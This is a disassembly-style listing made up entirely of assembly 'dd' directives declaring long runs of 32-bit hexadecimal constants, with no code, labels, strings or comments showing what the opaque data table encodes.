		dd 0B2D850C7h, 642C113Fh, 94698448h, 42AD2CB8h,	67183E80h
		dd 5F4D295Ch, 3D643C00h, 3E79E55Bh, 24E7F20Ch, 0C0E0D25Ah
		dd 0A47218Ch, 9149F621h, 8BA6007Ah, 0D6ABB21h, 0B5D805C9h
		dd 0C2CCF185h, 0B0A28CE8h, 0ACE4948Dh, 1DE72B1Bh, 0EE181180h
		dd 4B31186Ch, 0C99899h,	0DBAFAAA1h, 2BF60DBAh, 0D9F28A07h
		dd 15D08FE0h, 0C95EAD4h, 0AD8DF75Eh, 5CADA208h,	0A37FCF60h
		dd 0C1F01B6h, 3368343Dh, 3C083490h, 5C000E79h, 6A9385EEh
		dd 60A889F5h, 0FF704136h, 4D013598h, 0E569B6C5h, 0E84820A3h
		dd 131714EFh, 0C61EFCC3h, 5A010D8Dh, 1AFF2038h,	0FAA4B635h
		dd 78C010D4h, 3EAFB54h
		dd 841360CBh, 5804123Ah, 4A293594h, 405B1F47h, 2F8DD359h
		dd 0CB8F38C0h, 98AE1B3Ah, 0E17D143Ch, 1D052424h, 804A065Fh
		dd 0DC915C54h, 185E7F29h, 0A602971Ch, 0DD492A35h, 6800F3E3h
		dd 55899F74h, 0F23B5Ch,	0B3ACD4BCh, 0A13E1668h,	179AF000h
		dd 4432CB7h, 11600073h,	2B583A57h, 3C00AE1Dh, 62FD26D2h
		dd 0D1EEC13h, 5E69034Dh, 19022B8h, 9B193044h, 9C42BCE3h
		dd 0A837206Eh, 274BCB34h, 12298846h, 94110310h,	0E72D0264h
		dd 328CC8ACh, 0F1E300E7h, 212E00F3h, 0B72DCDBh,	1200253Bh
		dd 1683483Eh, 7D815026h, 2C6B4CE5h, 47FF13C0h, 7FF8548Dh
		dd 90C70907h, 0EAB02DD2h, 0A8C56F0Fh, 89F8E8h, 0C3F57FB5h
		dd 3F0B48F4h, 0E2B6A1C2h, 7C6658h, 745E6697h, 4F6CA3F7h
		dd 3726EA78h, 1000385Bh, 4E8B2E26h, 6380C0C7h, 0EFC9B5B8h
		dd 0B3196412h, 58708018h, 0B2F6EE3Eh, 825BE824h, 0FE810051h
		dd 57AAD48Bh, 960451EEh, 7DC43013h, 82F00A08h, 6019F3Ch
		dd 4B4CE3B7h, 0B5C80D28h, 0CC78E289h, 1250BF13h, 0C24EFFE4h
		dd 964C3Ch, 0B0AD5411h,	66EB6014h, 900E5275h, 41A2178Ah
		dd 5C4DFC53h, 0E113C20h, 0BCE9EACh, 3294F65h, 3B48768Ch
		dd 0C9303Eh, 1C81ABE3h,	2E7DE03h, 587CCDFFh, 0C2BF11h
		dd 0E3097C82h, 0E7A92881h, 6E1994E4h, 98086CC0h, 10A35C95h
		dd 0E01E0059h, 605AD468h, 9E0AF7C0h, 0A2321250h, 2C55A86Bh
		dd 362A5BFAh, 383D90B6h, 1D5A8BB0h, 0C00357FDh,	7926C1EFh
		dd 9714B824h, 23809A7Ch, 31F0308h, 76E8F879h, 182E13F3h
		dd 52150CDDh, 0B7660984h, 100C8095h, 140AAE58h,	485FEBE3h
		dd 12441423h, 3243C83h,	3B07CD48h, 380159AFh, 0AD9FBE8Dh
		dd 81F09B65h, 27020C74h, 0B9A93890h, 16F44F14h,	0EAFE1C18h
		dd 1226AE26h, 50E3C80Ah, 97BF983Ch, 1E46C39h, 11157B2Bh
		dd 5037F687h, 5C65A5CCh, 6111F260h, 5956435h, 16D849DFh
		dd 9F9C8862h, 0EF286378h, 7B03C47Fh, 8308A20Fh,	3E100553h
		dd 5EEC8DCAh, 775B01E4h, 30751142h, 0E3F6EA98h,	34EF6228h
		dd 5E34DC80h, 1D21180h,	0C30C0807h, 56761449h, 403448A0h
		dd 0CCC8581Bh, 0BB020B09h, 7C22D94Ch, 0C486131h, 0DC09401Ah
		dd 0E59B28Dh, 50E3C220h, 67848F22h, 95437435h, 2C11A09Dh
		dd 1E1B9094h, 0DE87B083h, 0A1CC64EFh, 1915140h,	33D9586Ch
		dd 8F026B18h, 0C9A419B2h, 0AD3CC8AEh, 886A26E5h, 0C1183508h
		dd 8AB861C4h, 54DCDA21h, 0C5BDB833h, 8048BC08h,	6B61F4A6h
		dd 8260116Dh, 5FC3F840h, 0D14E0462h, 9081E3B5h,	0CAEFE780h
		dd 2802B622h, 110C5F77h, 1003ABFEh, 5E845930h, 12485E4Dh
		dd 0D3110058h, 0DB53C451h, 486F714Eh, 0B433C302h, 70183D8Bh
		dd 98FAF6h, 722FCA4Dh, 4EF7E8ACh, 0DD502503h, 0F031F243h
		dd 0A0C6EA21h, 5C8E6987h, 906430FBh, 258CD0B3h,	0B7266EEAh
		dd 24401C02h, 5C195A0Eh, 81C01836h, 0FE0A5821h,	9F9C448Ch
		dd 0D122F800h, 0E692A55Dh, 14647CF2h, 88AFEDBAh, 0F8FC2904h
		dd 1DA4C002h, 0A464625Ah, 4CA43318h, 0BFF100B7h, 1B3F09CBh
		dd 0BB38609Eh, 13573C47h, 0FC04C9B4h, 95014E5Fh, 0D01BB109h
		dd 540ED480h, 803B0AACh, 20AACEA6h, 0F660740h, 15FF23h
		dd 9E44BCEEh, 0B1D92C06h, 6108B4B5h, 0B375210Ch, 0A6A120BCh
		dd 2000D278h, 4832D31Ch, 0C0226E7Fh, 884D8C48h,	63006D67h
		dd 81FF1CFDh, 0F6ACB373h, 316919E6h, 0D4B838B2h, 84015490h
		dd 51F8F910h, 0FEF0D7B7h, 0A8A00022h, 4745DE7Ch, 201D1085h
		dd 0B88A6BE0h, 647020C8h, 47068CE7h, 0FCB8BE0Eh, 0EFDF00A9h
		dd 7ABA02C8h, 5D1DF763h, 6A0C7D27h, 1E652017h, 0C38BC83Eh
		dd 0FE9C5360h, 95453900h, 74F293CAh, 9884A852h,	0E486008Bh
		dd 47997013h, 811D8791h, 0C501AD4Eh, 465BCFFDh,	5980405Ah
		dd 35858495h, 51300218h, 60C64071h, 0D33A49F8h,	0BD007E13h
		dd 0F541674Fh, 544370FDh, 4356E8A7h, 0BC040263h, 319C9EF6h
		dd 2C4B100Dh, 0D09200BCh, 1B262F42h, 460A739h, 0CD83FF68h
		dd 9F6009Dh, 0DCFBFE52h, 0AE337753h, 0A241200Eh, 0F67090BBh
		dd 0BAC911C8h, 901488D2h, 81D83F26h, 0C513EF6Fh, 68802146h
		dd 0B78A528Bh, 1D006EE0h, 8F3FF417h, 48944E5Ch,	286404A6h
		dd 39048098h, 39C05779h, 7E6ED446h, 813D18DEh, 3A782184h
		dd 71872740h, 61320D55h, 0EF01DC0h, 0C0678890h,	0B8A8570Eh
		dd 0F86E8501h, 208AC266h, 3A8020B9h, 0F231F0F6h, 9CA4B17Eh
		dd 0FC3E2D06h, 0F8792945h, 0D057007Ch, 9139A7B8h, 9CCA61Ch
		dd 0DC216Ah, 0EEF2D0ACh, 96A3C052h, 0F960F001h,	0E47DD4A0h
		dd 0ECF4424h, 0D1D022A4h, 0F206100h, 8C2AFC15h,	54033428h
		dd 61A74DD0h, 2E22DC48h, 8500D4ABh, 687292CBh, 0E0531603h
		dd 882427F6h, 311511Fh,	7664F73Ah, 0D14092BEh, 28CBFF4h
		dd 0BA05CF9Ah, 17197DF2h, 0CEA23A10h, 79685000h, 1B726BE7h
		dd 8EA5017Fh, 0A89931C3h, 15945063h, 0C64C8FA9h, 0FBD70077h
		dd 5682F045h, 0A8170F9Ah, 0F4254D6Bh, 6AAC2079h, 9D1E7525h
		dd 0C58C27A3h, 1F519B2h, 0D273585Ch, 0DFFB5014h, 68A357C3h
		dd 0B44E2100h, 90ACEF59h, 0A96963C7h, 0C3E0F42Ch, 60011B3Bh
		dd 4DECBA85h, 42F49353h, 6704006Dh, 24C86BC1h, 760F9880h
		dd 0BEA1234Fh, 0B065B800h, 0BFDBDDh, 2ADCECA8h,	66A02F92h
		dd 0E80C1E07h, 0E1F965Eh, 21ED8C65h, 67480088h,	4C9E35DEh
		dd 253E0122h, 430CFBD7h, 284F91C6h, 33D41FB2h, 812C4113h
		dd 8C613005h, 20517A08h, 32E657h, 9AA47778h, 56FAD3ACh
		dd 476D0110h, 69482C1Dh, 34300728h, 9F0C12D7h, 4B41AC1Bh
		dd 80D43478h, 0C9B66EE0h, 748DE80h, 0AE66C0CAh,	0B2EFA18Ah
		dd 0CF5181BFh, 927DC1B0h, 4059109Eh, 35E675B3h,	670068C6h
		dd 2EB12622h, 60F6A0EDh, 6F3D2831h, 6E00B563h, 37862B17h
		dd 1D2F9B68h, 3E80Ah, 0B0CA3C6Dh, 910C1E19h, 612BD578h
		dd 0A1F0E8Ah, 84C7B4BFh, 0CB5440E1h, 0E1C04EE0h, 750AC6EFh
		dd 9ECD001Fh, 84A4B961h, 41C77AC2h, 19B04787h, 2CFE76h
		dd 5D2F113h, 33E60674h,	0ED4FB700h, 0C72E56F7h,	0B1F3609Dh
		dd 0D4D10EFCh, 0B54A6101h, 0B4C249EBh, 2180F0D1h, 1DD1B6B3h
		dd 89C702C1h, 85B4DA8Bh, 2ABE0FC0h, 5A8117DDh, 0C4B160Ah
		dd 0AF38343Dh, 0A4937E2Ah, 0EA619F07h, 53A7BFD6h, 5D79BAD0h
		dd 2ED0FB65h, 28B06323h, 8A43914Ch, 0A100288h, 31E4B55Ah
		dd 0E8123Ch, 5F31DD85h,	0A8F34509h, 0CF40203Dh,	7144ECh
		dd 7F722B61h, 0E7AB7611h, 0C2804F50h, 0D1390F8Ch, 0B4686277h
		dd 9C408664h, 2ABAD13Ah, 0AD038279h, 8EA82D73h,	7E683ADDh
		dd 0E20FE53Ah, 87A34AE4h, 0A101AC90h, 1F5A122Ah, 840BDAAh
		dd 0C0995F8Eh, 863ACF1h, 0FA0D322Dh, 0F934F362h, 0D3F48407h
		dd 5B0A3B30h, 813CB510h, 0EB2178CCh, 0C90AC10Eh, 0D4B045A1h
		dd 0E0A9D420h, 5CDF18C6h, 649B2EB6h, 94C42926h,	0C0B02C1Ch
		dd 24C9DD4Fh, 44A84834h, 0F077636Ch, 9164D712h,	7F52C0D0h
		dd 0CC008F34h, 4F9493F6h, 0CDB8E86h, 290B80D4h,	9D1483A1h
		dd 0E4CC27Eh, 2F63C9B8h, 0D95C01C8h, 0E68E1248h, 49226D72h
		dd 0D4A4922Eh, 0D1D76038h, 0F2621029h, 0A8FDC8B5h, 9DD112DBh
		dd 0FAE800D5h, 0B97E8537h, 0BD2A1811h, 7AE81848h, 0AA8B008Ch
		dd 6BBEA2A1h, 0CC3098D5h, 1452414Ch, 6EE90001h,	0ED742EABh
		dd 8C046750h, 38DAC40Ah
		dd 0FA5B98D8h, 500C101Fh, 87A2C862h, 20674361h,	0B1B0410Bh
		dd 0FC2FC200h, 0F8B6A96Fh, 150A0E13h, 0B58296E2h, 1840DD55h
		dd 0C0005A2Eh, 546F61F5h, 0FAAEF21h, 7DBA3642h,	5680F160h
		dd 381EB9CCh, 5D4030D5h, 9AC15216h, 2B2E00BEh, 0F9136B11h
		dd 9600A021h, 2F1E5B0h,	301909D6h, 0EA4199F7h, 7C01FD70h
		dd 0C832A479h, 98E10E95h, 3DC13D4h, 460B312h, 52E1817Ch
		dd 0C0DD03Eh, 421B9601h, 29AE8373h, 0F1C45DCh, 0EB21777Ah
		dd 0FE09DB00h, 0EEE26C10h, 7C034B00h, 507AD9E1h, 0ABBA00A2h
		dd 4DFD8F0Eh, 2A0099D2h, 0EE49973Dh, 54E631h, 1D2E22C7h
		dd 0F0F36BFCh, 0C60BCF00h, 14158E64h, 0CD6E0DC0h, 0F4C08725h
		dd 161E3EA1h, 7A00319Eh, 44093765h, 0DB8B0099h,	6145D04Ah
		dd 0AF0B075Dh, 853D2Bh,	2553A548h, 6780A076h, 96B900B5h
		dd 0D7A29D28h, 430AB159h, 0A0FB7C27h, 6D03F112h, 331D92Bh
		dd 259E7D40h, 1BD86E55h, 0AC00FD45h, 0E2E8370h,	54F8D0h
		dd 2862CB97h, 0B8B9604h, 0F0A5D630h, 6C6C383h, 0B9116153h
		dd 0CE05C084h, 16ACD797h, 0A3588040h, 141151Ah,	3668F01Eh
		dd 0F97834AFh, 47C080E0h, 0AB1A7BE2h, 0BD400067h, 0CFA6D4F1h
		dd 0EA00EB23h, 0B26B9762h, 17DAABAh, 1E4A402Eh,	0DC8727F2h
		dd 642633EAh, 740E76A9h, 8A15C0B2h, 1104F4Bh, 0C6760AF0h
		dd 80AF5D5Fh, 0BD221D40h, 3CF79Ch, 8AD633ECh, 129FF125h
		dd 0E3C6E50Ah, 9900A006h, 57B214CDh, 328D0066h,	3065FB10h
		dd 79001839h, 8A9A726h,	950BA1Bh, 14954A5Ch, 3100B476h
		dd 0C78FC8Fh, 84D1D92h,	5B1DC08Bh, 9A1E6F8Dh, 7E961000h
		dd 9902BA77h, 9BB0BF3h,	0E7805707h, 672AD956h, 4076AD37h
		dd 1BA0F800h, 0D35900DEh, 0D7BF9B03h, 3407959Eh, 15146CD2h
		dd 26713000h, 3BF40946h, 0F0046247h, 0FA6090ABh, 7E707011h
		dd 0E9943F4Ch, 0C31630D6h, 0C8486A00h, 0A75AD504h, 9955F0A8h
		dd 18F17974h, 0FCE0009Bh, 0D691CD10h, 1A26C2C6h, 0BC037C4Dh
		dd 0B0166D99h, 7181251h, 4AF5F695h, 0B4B63CDCh,	5C066118h
		dd 0F237E670h, 8C905B7h, 90942B24h, 0DF8C131Ch,	38094Ch
		dd 1DA56915h, 24172F2h,	9BA744D4h, 0F340F09Fh, 7B5C504Fh
		dd 20252942h, 338020C2h, 0C47CCBC5h, 6F309279h,	0FA0572EEh
		dd 0D4633A4Dh, 9588108Eh, 0B9F815C0h, 2D9F613h,	4DF505F3h
		dd 0D4A001CCh, 0BF361BD5h, 0FD6B4B00h, 29258764h, 0AB151CDEh
		dd 66AC8280h, 87408112h, 0C49A0B05h, 2328CBF6h,	0DBF28882h
		dd 83FCC14Dh, 0F13867B2h, 3A0C65B8h, 5A5688h, 0B719B967h
		dd 0D751259Dh, 4981A607h, 2A63A88Bh, 72CB9002h,	0A1E4AB8Ch
		dd 9064B010h, 0D1F88CC1h, 1A627A11h, 6D808488h,	0B804D111h
		dd 0CE7C0023h, 0EE21341Fh, 14156B53h, 6CE89948h, 8C3BC899h
		dd 3A675C02h, 1962480Ch, 442C109Bh, 8D260E67h, 121A1Eh
		dd 17213A30h, 0E9018BD9h, 13B5464Ah, 6880AF84h,	22A97E90h
		dd 2312F35Bh, 8607F91h,	49440A3Ah, 0FC5804B5h, 78E0EAA2h
		dd 0AE06A8A0h, 0D7B27309h, 6863685Ah, 2293038Ch, 1000657Dh
		dd 3BAA6F0Bh, 1CE8298Ch, 87D185h, 0DA92C74h, 0AE0058EEh
		dd 0D482D27Dh, 2A2F826h, 0BFE5D81Ch, 856052CEh,	177DE8CFh
		dd 531E1600h, 0C73E5A64h, 6EC0394h, 45270329h, 1DC015B8h
		dd 25D7E200h, 6BF43EC2h, 0A53900CEh, 0FF6829E9h, 500F044h
		dd 0A9D09548h, 71D7060h, 0E20F9EABh, 73871341h,	0A2B029B3h
		dd 9700EA68h, 0E084ACC0h, 10360Ah, 328C598Bh, 1666D051h
		dd 0A57B6FB0h, 30CB820Fh, 5EA640D5h, 48BDBB28h,	0B500248Eh
		dd 0A4318ECh, 481E91FEh, 2542C1ACh, 608F02FBh, 64560C2h
		dd 6ABDF065h, 0DE62087Dh, 0FD5FAE21h, 0E4F46CC1h, 3600D94Dh
		dd 0BA602132h, 0C3E8134h, 8E2CB596h, 0B0104318h, 1404310Ah
		dd 0C9C15Dh, 0FB48A516h, 5BEF3E44h, 606008BAh, 580FA662h
		dd 0DC00B3FCh, 0F48479DFh, 0C0EDB7DEh, 0F4D4020h, 0FC01B639h
		dd 0B0C7EE19h, 60B0E906h, 5D96EFA1h, 0BDE19100h, 5876A032h
		dd 7FDF009Bh, 3E28D116h, 0AC18FB47h, 0C5314D27h, 81CA0164h
		dd 0C31D4E9Dh, 833C79Eh, 0E08F21F2h, 1B275CAh, 1118D091h
		dd 0D4254FFDh, 8000359Ch, 9D07513Dh, 649D7A5h, 7E0DD1CFh
		dd 0A106E8CAh, 81DD5248h, 5FDF0C79h, 0A088D59Eh, 32103A03h
		dd 0D87BA572h, 9AF438h,	746CFF97h, 30DBCB35h, 0EEADD21Dh
		dd 9F10C459h, 0F8DC6EE4h, 0B9E0000Eh, 0C92C373Dh, 0CA07315Fh
		dd 0C498F1B3h, 0ECC0A4B7h, 7B0E2DA2h, 0A529C474h, 97B04458h
		dd 44C3DB44h, 3148F410h, 24942742h, 0F2A7218Fh,	7900AD13h
		dd 0B334D7D4h, 28D053Ah, 2D67223Bh, 0C878BA2h, 0A9C150ABh
		dd 390079CAh, 0CC9B9586h, 90216F0Dh, 0E4100BEh,	92CE3B55h
		dd 8900AB6Eh, 1586C1FCh, 1EBE4B2Bh, 0C06373h, 6B68F693h
		dd 6AE85196h, 640047F8h, 9FD0999Dh, 0F97A502h, 0CD7F3E19h
		dd 659B2920h, 5F78DD64h, 2E1C3400h, 0BE95A0F1h,	1A2500FCh
		dd 12CBC67Ch, 5F00E319h, 719266DAh, 18CD240Fh, 6839775Bh
		dd 420D970Eh, 0BABE3190h, 38814740h, 6A830386h,	0E7BB4A4h
		dd 0FDD22A0h, 1B003070h, 26D2F681h, 0E6F45CDh, 4C3EFD16h
		dd 0AFEE05A0h, 3D0A0AEBh, 0ECC5230Bh, 2AB7D000h, 7EF53815h
		dd 0C663004Eh, 0AD18075Ch, 5A17524Fh, 0EC00F41Fh, 26DC2405h
		dd 0B6711Dh, 91601A3Eh,	3D8A427Ah, 81897400h, 4C794441h
		dd 0B6BF003Ah, 2330A4F5h, 0CD00B372h, 6BFF8498h, 8968F3h
		dd 480160C9h, 437181C1h, 496A3601h, 51D80AE1h, 5CE4EE21h
		dd 0F0BF0092h, 4DA5454Ch, 4000F36Eh, 62796432h,	0F8036B0Dh
		dd 90500029h, 11A0FF6Ch, 0F726C62Dh, 6D004E74h,	4CF1885Ch
		dd 0B3BF1444h, 0BE000CFEh, 458FF0CEh, 0B80183FCh, 54BB93EBh
		dd 4C80B55h, 0AF21037Ah, 184A8F44h, 0E06EF298h,	86A710Ch
		dd 690AEh, 381A3DA9h, 0B456BED2h, 4A956503h, 0F03EE898h
		dd 8DED6h, 0E31278Bh, 2FBD7117h, 7376911Eh, 62DA0580h
		dd 99821Eh, 7CD853CFh, 0E2B1BC2Dh, 0F1E67900h, 0C9D2D6B4h
		dd 0ECD4000Fh, 293AAE86h, 570064C3h, 93795EC7h,	0CE14071h
		dd 0AFE5B6B5h, 7800B929h, 6B1C7F38h, 5C2A5DEAh,	463B2663h
		dd 8E0A01FBh, 0B6A8143Ch, 93F424D4h, 43B84C07h,	0E5700D8Ch
		dd 0A0EC3E08h, 0F4F154DCh, 0F0865035h, 0F2EAF66Ah, 0E47F01CAh
		dd 721AD99Ch, 84CBF83Eh, 1D04BBFCh, 25F1252h, 171083h
		dd 26078374h, 64AB4F4h,	9F501374h, 943A4CECh, 0E3A31878h
		dd 0C4CFB8h, 0E89674F0h, 9EA4BE29h, 0AC84A01Eh,	0D645C280h
		dd 0E2C16CE5h, 95520E7Ch, 0FF609BBCh, 0EFB5138Ah, 3A7DB200h
		dd 9367D1CDh, 0E9F60F97h, 0A8C0DE6Ah, 0EF39A278h, 48ECAD3Bh
		dd 6CD000BCh, 44E6D2E8h, 605F0721h, 0AA6A6374h,	0CBEA090Ch
		dd 0BE868583h, 0DFD1E4A0h, 494BBD03h, 98DD9716h, 2D85E42h
		dd 8892F975h, 1C60F545h, 5F032F51h, 0D73A76BFh,	0A883CC05h
		dd 8EF388B3h, 0F2B40212h, 0C993A008h, 74FF9C80h, 0C3F47855h
		dd 0EA61B500h, 30854A1Eh, 0C020DEDCh, 6F9C04BEh, 0FE74A0A1h
		dd 44426C00h, 7E680C49h, 70C702DAh, 221D395Ch, 0D9BFE4A0h
		dd 0F30E030Ah, 0E49A6E38h, 188185B6h, 513089B8h, 6DEE0F0Bh
		dd 0E7A0F56Ah, 68101309h, 6FFFD00h, 0DE0AC820h,	2167B19h
		dd 531476CCh, 26EB987Fh, 0D92BECA8h, 2A001E90h,	0A8E91051h
		dd 0E468934Bh, 458000AFh
		dd 56E2FDF7h, 523F7B97h, 5D9F80B4h, 793FC49Ah, 13BF006Eh
		dd 0A428CE3h, 8A0051B8h, 8D3DE511h, 0ACC20Eh, 342817F7h
		dd 0FA1E735Dh, 5B554500h, 0CDE2C086h, 1DBA062Eh, 0C2CE20D2h
		dd 0DE4D8809h, 0C012D83Eh, 0C5E49188h, 0D0675A6h, 71661C94h
		dd 4C6020Eh, 88381FCFh,	89C03942h, 0EEB8A3BFh, 5F8E5700h
		dd 9DD767DFh, 65B6003Eh, 0ADB2B9C6h, 0AF3B526Ah, 80713F9Eh
		dd 2005144Dh, 7C37E32Eh, 0F6EE041Fh, 0C53FBCB4h, 0D7318040h
		dd 2200C08Fh, 2881AF51h, 1E9E4Eh, 5D63F227h, 0A94CC85Bh
		dd 0D3357100h, 20C08D7Eh, 0A5860E15h, 0FFE0BE26h, 77EAD07Bh
		dd 2B94D800h, 89A258C3h, 0B7E712D3h, 0FBD44911h, 0F1020000h
		dd 0AE2CE1A7h, 1E028410h, 70718EE3h, 8B52007Ch,	233EAA74h
		dd 6C3D6D89h, 9D098B24h, 8C8F0085h, 1DAF81BCh, 0C001B775h
		dd 0BE0F9B49h, 0B202CEB0h, 6E08B1C6h, 0B08C630Dh, 16F6DFh
		dd 29461057h, 0E1774A81h, 1BF83E67h, 4ECCA5F0h,	443D01E7h
		dd 0C8DD6FD9h, 920C47F2h, 99C04763h, 352646D8h,	308994EBh
		dd 0C53800DDh, 0F5142B1h, 258CFDAAh, 71FF1E60h,	55F8A176h
		dd 0AE047090h, 0C8AA32D6h, 0DC8C9080h, 0EB8000FDh, 0BE486858h
		dd 0D93082EFh, 0B13E211Fh, 2DB5002Eh, 1ACEF25Dh, 0A700B4C7h
		dd 18A6C92h, 0E58D6ABEh, 13340CF0h, 0CAA13Bh, 2C5C1C8Ch
		dd 0E01DFAF9h, 7B00DA81h, 0B059FBE5h, 57C700B2h, 5289BEB8h
		dd 0D005A3Dh, 121A8340h, 82D8A6h, 0F07D6DE9h, 0C2E8F59Eh
		dd 0D3AF1F00h, 77C98323h, 98AC7372h, 42CA0C44h,	709841B9h
		dd 7280A438h, 50392900h, 205158BFh, 857802h, 0AA87DA53h
		dd 822BAEA9h, 42E7B200h, 7415A11Bh, 63911CEAh, 0C4BDC0F8h
		dd 0B1FB5337h, 0A33E8D0Eh, 0E7344109h, 21806F2Eh, 0FD24B40Eh
		dd 95605C9Bh, 4BC0A848h, 0E17D0059h, 3DC58496h,	0AD00C1F8h
		dd 838DFA32h, 5CF447h, 162701E2h, 1D7412ECh, 62443900h
		dd 351B19AEh, 0B6F40068h, 2D919921h, 0DF306681h, 0CAA4EE7Dh
		dd 8672EEh, 0D16A1393h,	37C689A6h, 0FBD0D700h, 0C9F4419Ch
		dd 1A0C0022h, 6AF8AC1Fh, 0C8005D5Fh, 0D8210877h, 37451Dh
		dd 0E3929F23h, 63A4BF8Dh, 9645C00h, 0B1E6299Ah,	60E00080h
		dd 0E7BD8E11h, 1003CB4h, 0DF460763h, 90360218h,	0F293F47Dh
		dd 4D670ECDh, 5567EEB0h, 0C5202CC1h, 0EDF91F06h, 50D8DAh
		dd 0BB5A9CBFh, 8239B45Ch, 87F1C905h, 0C02C8F2h,	606B7FB6h
		dd 0A1035Fh, 0F5613FADh, 47E65EA6h, 2A9ABD00h, 2DB5185h
		dd 6CC6F7Bh, 53BE4140h,	9B0E69A0h, 0B1FEFBh, 7940B4DFh
		dd 81CB1F30h, 0BE3FC7B9h, 540CE0E7h, 0EFB8F89Bh, 233260Fh
		dd 0DA90077Dh, 2930EFA0h, 624618A7h, 0FE4830E2h, 0AC950400h
		dd 307AF7B4h, 0E9AB04D1h, 80B2C4CDh, 329C3F18h,	514EB100h
		dd 3DC633F8h, 0D169038Fh, 4BB34855h, 80FA1FE5h,	0A9B1D272h
		dd 49488558h, 0D1B9014Fh, 0B08EBE5Ah, 99C4E8D7h, 0BF6F0E76h
		dd 67C0D2C1h, 0D94F54D3h, 8E664000h, 5A0D5891h,	81A8A3ACh
		dd 0E0E43E3Fh, 0BE730005h, 43B67513h, 83002E92h, 0C3CDBD80h
		dd 928C3A6Bh, 29200738h, 233163D8h, 56E01F9Ch, 76F4E0A7h
		dd 61134200h, 34E51BA9h, 14E8017Ah, 41E2B48Bh, 98B8E85Bh
		dd 0CAF0D7F6h, 50833805h, 80BEC4C8h, 0A9698E20h, 0EDEA58h
		dd 0E54D4C32h, 0B55D55h, 0CB292F37h, 0B43A86B3h, 0FD85E600h
		dd 0AD25C94Ch, 0ECF6001Bh, 0EA0C65EDh, 0B9B057D9h, 89F86C00h
		dd 7231362Ch, 0A0C2008Ah, 801DA779h, 7B003CE9h,	282937B4h
		dd 5CA36h, 0E8EA237Dh, 0FFB63171h, 8133483Ah, 20CE0FAEh
		dd 2AECC735h, 0C1A7000Dh, 53C26D77h, 0DD7BFFD5h, 90F22105h
		dd 80AEBE75h, 0DC5B6EF2h, 856F3600h, 5520EA35h,	2C428C5h
		dd 0F94100D4h, 0C6FF499Bh, 88008F56h, 17B69270h, 583154EFh
		dd 12000E89h, 0DF3AFC38h, 90005965h, 222C5D95h,	6A5EDDh
		dd 51D5BAFEh, 0FD5FD0D6h, 4C006EFAh, 73170D9Bh,	4932F6h
		dd 0BB8191E0h, 3F4510CEh, 1F0083ECh, 3CAE0E6Ch,	28AB89FBh
		dd 9A5381Ch, 9673C254h,	0F8DB80D5h, 16E5C74Ah, 924886h
		dd 6E6A315Fh, 0D53BEE8Eh, 0F6238E1Ah, 0D7C4062h, 0C54A25h
		dd 58F769B3h, 4876305Fh, 0EFF1240Eh, 0EE79A0D0h, 0AFE615Eh
		dd 3092BEF0h, 0C08F1DEFh, 213D83B9h, 260005ABh,	8B24C1A8h
		dd 536560h, 9FDD32FCh, 1D5C970Dh, 49CD1000h, 223F8F05h
		dd 0A0E00029h, 347F15D0h, 93010499h, 0D5BC542Ch, 14F08587h
		dd 8CE90009h, 9133181Ah, 2900BB26h, 8FFEECB3h, 360D5AEh
		dd 0A225FD7h, 838034CAh, 0AFEEE0C8h, 0C21A6603h, 0B8674E75h
		dd 0EB1B54h, 0C91D389Ch, 0FB4CCD3h, 0B0DCB518h,	0C9048B2h
		dd 0E2C9915h, 6F38505Ch, 446500BAh, 0A149C1B2h,	0F054023Ah
		dd 8EC53346h, 8B9CC540h, 0FD41241Eh, 0EDF756C0h, 75DF4F68h
		dd 4BE60081h, 0A22DDA1Bh, 0BE28E4B3h, 570297BBh, 63B54C2Ah
		dd 0A8EF87EEh, 75F44B40h, 9980A80Fh, 0E926074Ch, 609A0C12h
		dd 33472DF6h, 63E69200h, 571088D2h, 0D5CC00B7h,	24F0C5A8h
		dd 3409B46Dh, 80617D4Dh, 2A0E9964h, 0E267B0F1h,	56FC00AEh
		dd 7E964169h, 6800297Bh, 72D17985h, 991EE3h, 0C63A7187h
		dd 0C0651BAAh, 0CD76420Fh, 3DD886ECh, 0B6670019h, 622DA954h
		dd 0C8002255h, 1A3E8CB0h, 71289Dh, 2EA14B98h, 0A86A932Ch
		dd 1BF046B8h, 0BE124800h, 7CDEFF06h, 927803D6h,	0B0E1815h
		dd 4A414480h, 7350C400h, 0B05A3089h, 0E61200E8h, 0DD07469Dh
		dd 0BB0086DCh, 8DAFF4C9h, 61BB7h, 0B0B2FBCFh, 68A31687h
		dd 9126A900h, 4B6125BEh, 1B5509B1h, 830053E8h, 491AB6E3h
		dd 64C9AA00h, 8E7E9885h, 945E601Bh, 0A0D6FBC8h,	0B349CC12h
		dd 62033C16h, 3EB0C428h, 0EE838B28h, 0FF089ADh,	2498DBA8h
		dd 0DE405460h, 0E6BE9365h, 0CD34005Bh, 0A27C3DDFh, 8F003219h
		dd 0F2307DC4h, 775798Dh, 1C4634BAh, 8660EFDBh, 3D91AECEh
		dd 3C8E48h, 74955DE4h, 0E7392Ch, 354F16Dh, 7BD17EEFh, 60FA8400h
		dd 0AD9F3AFBh, 6194001Ch, 1D681B5Dh, 78003F53h,	661767C1h
		dd 0F9B87h, 7DD7625Eh, 1B8D2A5h, 0D87C0B1Dh, 9B68DC40h
		dd 48AB518Eh, 0FD003098h, 37EC9FCBh, 4C0022E1h,	4D2FFA86h
		dd 48B346D1h, 0B40148E6h, 4044CEACh, 867BC47Dh,	2EC83B00h
		dd 0EB35BAD9h, 0FDB40A8Ch, 984679h, 0D24A0A6Dh,	49004DCEh
		dd 52DCB788h, 0E94B990Bh, 0A46070h, 0FE16F8E7h,	6DEDE275h
		dd 26051AE8h, 62B2E68Ch, 7D88BF80h, 0BA7926D0h,	6A990F04h
		dd 6040FBEFh, 0B8CB2553h, 4C18E379h, 51198DE5h,	9BB10027h
		dd 14AEE928h, 8807D335h, 7C050847h, 0B2C1D767h,	90849E60h
		dd 0C07A9190h, 9F618387h, 4FEA7900h, 0F3774E46h, 99F20065h
		dd 4C533E9Bh, 5F0042BCh, 8BB6C1C8h, 8DFDC2h, 6C341FF6h
		dd 0DB1DD206h, 664E5D03h, 9889D30Fh, 26AE0Ah, 68708CD0h
		dd 0EB7BC247h, 72002076h, 0FB4B0651h, 8D212Bh, 0BF01FD8Fh
		dd 230841A8h, 919B6C28h, 43D15503h, 0EF1C26D8h,	5254A790h
		dd 31D63AB7h, 0A8AAD80h, 19DEE760h, 90390300h, 0B0B1691Bh
		dd 415B00B8h, 2027706Ch, 2100AF0Bh, 3668CC5Dh, 7D20DD9h
		dd 0C62F97B9h, 35A4434Eh, 0B817C0C0h, 301C900h,	73E3A982h
